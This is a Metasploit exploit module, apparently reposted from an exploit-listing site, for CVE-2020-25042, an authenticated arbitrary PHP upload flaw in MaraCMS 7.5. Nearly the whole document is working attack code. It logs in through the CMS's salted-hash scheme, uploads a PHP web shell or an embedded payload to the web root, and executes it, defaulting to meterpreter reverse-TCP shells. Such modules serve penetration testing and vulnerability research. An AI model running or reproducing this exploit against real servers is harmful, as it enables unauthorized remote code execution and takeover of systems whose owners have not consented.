Share
## https://sploitus.com/exploit?id=PACKETSTORM:159304
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MaraCMS Arbitrary PHP File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability in  
MaraCMS 7.5 and prior in order to execute arbitrary commands.  
  
The module first attempts to authenticate to MaraCMS. It then tries  
to upload a malicious PHP file to the web root via an HTTP POST  
request to `codebase/handler.php.` If the `php` target is selected,  
the payload is embedded in the uploaded file and the module attempts  
to execute the payload via an HTTP GET request to this file. For the  
`linux` and `windows` targets, the module uploads a simple PHP web  
shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it  
leverages the CmdStager mixin to deliver the final payload via a  
series of HTTP GET requests to the PHP web shell.  
  
Valid credentials for a MaraCMS `admin` or `manager` account are  
required. This module has been successfully tested against MaraCMS  
7.5 running on Windows Server 2012 (XAMPP server).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Michele Cisternino', # aka (0blio_) - discovery and PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2020-25042'],  
['EDB', '48780']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a"  
},  
'Platform' => %w[linux win php],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],  
'Targets' =>  
[  
[  
'PHP', {  
'Arch' => [ARCH_PHP],  
'Platform' => 'php',  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-08-31',  
'DefaultTarget' => 0  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme'])  
]  
end  
  
def check  
vprint_status('Running check')  
  
# visit /about.php to obtain MaraCMS version and cookies  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'about.php'),  
'keep_cookies' => true  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200 && res.body.include?('Mara cms')  
return CheckCode::Safe('Target is not a MaraCMS application.')  
end  
  
html = res.get_html_document  
version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release`  
version = version_header.split(' ')[1] # grab the version number  
  
if version.blank?  
return CheckCode::Detected('Could not determine MaraCMS version.')  
end  
  
version = Gem::Version.new version  
  
unless version <= Gem::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5  
# MaraCMS no longer seems to be maintained, but the check below is added in case they every update it  
return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.')  
end  
  
return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower')  
end  
  
def login  
# visit login page in order to obtain `shash` value, which is necessary for authentication  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => { 'login' => '' }  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')  
end  
  
unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag  
fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.')  
end  
  
nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner  
  
# try to obtain salt required for authentication  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },  
'vars_get' => {  
'nocache' => nocache_value  
},  
'vars_post' => {  
'action' => Rex::Text.encode_base64('setsalt').to_s,  
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string  
'status' => Rex::Text.encode_base64('Sending Request').to_s  
}  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')  
end  
  
unless res.code == 200 && res.body.include?('~::~')  
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.')  
end  
  
# obtain salt  
salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~  
salt = Rex::Text.decode_base64(salt_base64)  
if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true  
# in case of an error, the server sends the error message, so this should be passed to the user  
fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}")  
end  
print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...")  
  
# use salt to generate authentication tokens  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
@username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload  
unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}")  
salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}")  
@salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload  
nocache_value = rand # create new nocache_value  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },  
'vars_get' => {  
'nocache' => nocache_value  
},  
'vars_post' => {  
'usr' => @username_base64,  
'hash' => Rex::Text.encode_base64(unsalted_hash),  
'pwd' => @salted_hash_base64,  
'action' => Rex::Text.encode_base64('login').to_s,  
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string  
'rawresponse' => Rex::Text.encode_base64(salt_base64),  
'status' => Rex::Text.encode_base64('Sending Request').to_s  
}  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')  
end  
  
unless res.code == 200 && res.body.include?('~::~')  
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.')  
end  
  
# obtain base64 encoded response from body and decode it  
server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2])  
unless server_response.include?('OK:')  
fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message  
end  
  
print_good('Successfully authenticated to MaraCMS')  
end  
  
def upload_payload  
# set payload according to target platform  
if target['Platform'] == 'php'  
pl = payload.encoded  
else  
@shell_cmd_name = rand_text_alphanumeric(3..6)  
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"  
end  
  
@payload_name = rand_text_alphanumeric(8..12) << '.php'  
one_base64 = Rex::Text.encode_base64('1') # used twice below  
  
# generate post data  
post_data = Rex::MIME::Message.new  
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')  
post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"')  
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')  
post_data.add_part('filenew', nil, nil, 'form-data; name="type"')  
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"")  
post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"')  
post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"')  
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')  
post_data.add_part('/', nil, nil, 'form-data; name="destdir"')  
  
print_status("Uploading payload as #{@payload_name}...")  
  
# upload payload  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" },  
'data' => post_data.to_s  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')  
end  
  
unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.")  
fail_with(Failure::Unknown, 'Failed to upload the payload.')  
end  
  
register_file_for_cleanup(@payload_name)  
  
print_good("Successfully uploaded #{@payload_name}")  
end  
  
def execute_command(cmd, _opts = {})  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, @payload_name),  
'vars_get' => { @shell_cmd_name => cmd }  
})  
  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Failed to execute the payload.')  
end  
end  
  
def exploit  
login  
  
upload_payload  
  
# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.  
if target['Platform'] == 'php'  
print_status('Executing the payload...')  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, @payload_name)  
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload  
else  
print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")  
execute_cmdstager(background: true)  
end  
end  
end